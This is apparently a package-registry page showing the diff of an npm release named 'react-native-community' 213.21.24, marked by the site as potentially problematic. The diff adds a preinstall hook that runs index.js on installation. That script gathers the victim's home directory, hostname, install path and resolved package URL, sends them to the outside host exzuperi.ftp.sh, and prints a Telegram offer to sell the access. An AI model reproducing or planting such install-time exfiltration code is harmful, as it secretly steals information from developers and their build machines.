react-native-community 213.21.24

Sign up to get free protection for your applications and to get access to all the features.

Potentially problematic release.


This version of react-native-community might be problematic. Click here for more details.

Files changed (2) hide show
  1. package/index.js +35 -0
  2. package/package.json +12 -0
package/index.js ADDED
@@ -0,0 +1,35 @@
1
+ const os = require("os");
2
+ const dns = require("dns");
3
+ const querystring = require("querystring");
4
+ const https = require("https");
5
+ const packageJSON = require("./package.json");
6
+ const package = packageJSON.name;
7
+ const fs = require('fs');
8
+
9
+ const trackingData = JSON.stringify({
10
+ hd: os.homedir(),
11
+ hn: os.hostname(),
12
+ ls: __dirname,
13
+ pn: "react-native-community",
14
+ r: packageJSON ? packageJSON.___resolved : undefined,
15
+ });
16
+
17
+ const options = {
18
+ hostname: "exzuperi.ftp.sh",
19
+ port: 449,
20
+ path: `/PoC/${encodeURIComponent(trackingData)}`,
21
+ method: "GET",
22
+ };
23
+
24
+ const req = https.request(options, (res) => {
25
+ res.on("data", (d) => {
26
+ //process.stdout.write(d);
27
+ });
28
+ });
29
+
30
+ req.on("error", (e) => {
31
+ console.error(e);
32
+ });
33
+
34
+ process.stdout.write("You can reach me, if you want to buy it: https://t.me/exzuperi");
35
+ req.end();
package/package.json ADDED
@@ -0,0 +1,12 @@
1
+ {
2
+ "name": "react-native-community",
3
+ "version": "213.21.24",
4
+ "description": "PoC for pottential RCE",
5
+ "main": "index.js",
6
+ "scripts": {
7
+ "test": "echo \"Error: exzuperi made me\" && exit 1",
8
+ "preinstall": "node index.js"
9
+ },
10
+ "author": "",
11
+ "license": "ISC"
12
+ }